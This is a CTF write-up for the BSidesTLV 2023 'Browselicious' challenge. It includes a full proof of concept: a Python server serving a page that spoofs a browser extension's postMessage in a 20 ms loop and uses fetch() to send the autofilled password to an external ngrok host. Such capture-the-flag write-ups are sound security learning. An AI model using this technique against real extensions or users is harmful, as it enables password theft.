Introducton

This writeup is for the Browselicious challenge from Misc category in BSidesTLV CTF held online. The challenge had an external link and a js file that contained browser extension code. The external link was a simple website that had a URL Input field. The URL was probably being processed in a browser on the backend with the extension installed.

To complete the challenge, one had to create a document with a input[type="password"] field and capture the value of this field when populated by the extension itself. But also, we needed to exploit a race condition here by doing a postMessage before the extension itself.

Writeup

Server Request

Right after i visited the page, it said Our Extension is coming soon and there was an input field that accepted a URL. So, right away i fired up ngrok without actually running anything for the proxy and checked if i received anything back.

bash
$ ngrok http 8000

And i got requests back on terminal.

Code Review

Then i opened the js file and the code has 2 main events: onMessage and onLoad. The first event checks for a couple conditions and populates data in the input[type="password"] field. The second event simply fires a postMessage to the current window with some data.

javascript
// Listen for messages from the extension
window.addEventListener("message", function (event) {
    // Check if the message is from the extension
    if (event.source === window && event.data.action === "populatePassword") {
        // Find the password input field
        var passwordField = document.querySelector('input[type="password"]');
        // Populate the password field with the specified string
        if (passwordField) {
            passwordField.value = (event.data.url === "http://flag") ? "BSidevTLV2023{TheFlag}" : "MyDefaultPassword";
        }
    }
});
// Send a message to populate the password field on page load
window.addEventListener("load", function () {
    window.postMessage({
        action: "populatePassword",
        url: window.location.href,
        password: "YourPassword" // Replace with the desired password
    }, "*");
});

Exploit

To exploit the challenge, we need to implement 3 things in the PoC:

Create a web page with input[type="password"] form field which will accept the data.
Exploit the Race condition by setting an interval in milliseconds.
In the postMessage, set the value of url to http://flag.

Before we head to the exploit work, setup a python file to act as our server:

python
import http.server
import socketserver
PORT = 8000
html_content = r'''
PAYLOAD HERE
'''
# Request Handler
class MyHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()
        self.wfile.write(html_content.encode('utf-8'))
with socketserver.TCPServer(("0.0.0.0", PORT), MyHandler) as httpd:
    print(f"Serving at port {PORT}")
    httpd.serve_forever()

Input Field

Put together an html code that as input field:

html
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>POC Vulnerable website</title>
</head>
<body>
    <form>
        <input type="password"></input>
        <script>
          window.addEventListener('load', () => {
                let elem = document.querySelector("input");
                if(elem.value){
                    fetch("https://f5d4-101-50-76-194.ngrok-free.app/?value=" + (elem.value || "nothing"));
                }
            });
        </script>
    </form>
</body>
</html>

I fired up this python server, proxied through ngrok:

bash
$ python3 poc.py

Got, the following result:

Race Condition

To exploit the race condition, i simply replaced the addEventListener with setInterval having 20ms.

javascript
setInterval(() => {
  let elem = document.querySelector("input");
  if(elem.value){
      fetch("https://f5d4-101-50-76-194.ngrok-free.app/?value=" + (elem.value || "nothing"));
  }
}, 20);

Post Message

Now, simply put the postMessage inside the callback function:

javascript
setInterval(() => {
  window.postMessage({
      action: "populatePassword",
      url: "http://flag",
      password: "YourPassword" // Replace with the desired password
  }, "*");
  let elem = document.querySelector("input");
  if(elem.value){
      fetch("https://f5d4-101-50-76-194.ngrok-free.app/?value=" + (elem.value || "nothing"));
  }
}, 20);

This time i fired up the server and got the flag:

PoC

The complete Proof of Concept:

python
import http.server
import socketserver
PORT = 8000
html_content = r"""
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>POC Vulnerable website</title>
</head>
<body>
    <form>
        <input type="password"></input>
    </form>
    <script>
            setInterval(() => {
                window.postMessage({
                    action: "populatePassword",
                    url: "http://flag",
                    password: "YourPassword" // Replace with the desired password
                }, "*");
                let elem = document.querySelector("input");
                if(elem.value){
                    fetch("https://f5d4-101-50-76-194.ngrok-free.app/?value=" + (elem.value || "nothing"));
                }
            }, 20);
    </script>
</body>
</html>
"""
class MyHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()
        self.wfile.write(html_content.encode('utf-8'))
with socketserver.TCPServer(("0.0.0.0", PORT), MyHandler) as httpd:
    print(f"Serving at port {PORT}")
    httpd.serve_forever()

BSidesTLV CTF 2023 Browselicious (Misc) Writeup